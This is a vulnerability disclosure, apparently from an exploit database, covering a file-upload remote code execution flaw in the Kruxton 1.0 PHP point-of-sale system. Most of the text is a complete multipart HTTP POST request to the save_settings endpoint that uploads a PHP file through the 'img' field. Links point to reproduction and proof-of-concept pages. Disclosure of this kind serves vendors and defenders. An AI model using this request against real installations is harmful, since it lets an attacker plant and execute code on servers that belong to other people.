## Title: kruxton-1.0-FileUpload-RCE
## Author: nu11secur1ty
## Date: 04/15/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
## Reference: https://portswigger.net/web-security/file-upload
## Description:
The system setting with parameter IMG is vulnerable to File Upload
vulnerability.
The attacker can upload a very malicious PHP file into the server and
then he can execute it
This is a potential CRITICAL PROBLEM!
STATUS: HIGH- Vulnerability
[+]Payload:
```POST
POST /kruxton/ajax.php?action=save_settings HTTP/1.1
Host: localpwnedhost.com
Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq;
PHPSESSID=lp21rf44drtnogjboa8v7lpmg1
Content-Length: 1043
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryUwsdkjlNQ5exBwrq
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88
Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://localpwnedhost.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localpwnedhost.com/kruxton/index.php?page=site_settings
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close
------WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name="name"
Kruxton Bristo By Mayuri K
------WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name="email"
mayuri.infospace@gmail.com
------WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name="contact"
9000000000
------WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name="about"
Kruxton Bristo By Mayuri K
Powered by Froala Editor
------WebKitFormBoundaryUwsdkjlNQ5exBwrq
Content-Disposition: form-data; name="img"; filename="1nsi1deyou.php"
Content-Type: application/octet-stream
------WebKitFormBoundaryUwsdkjlNQ5exBwrq--
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/kruxton-1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/04/kruxton-10-fileupload-rce.html)
## Time spent:
00:15:00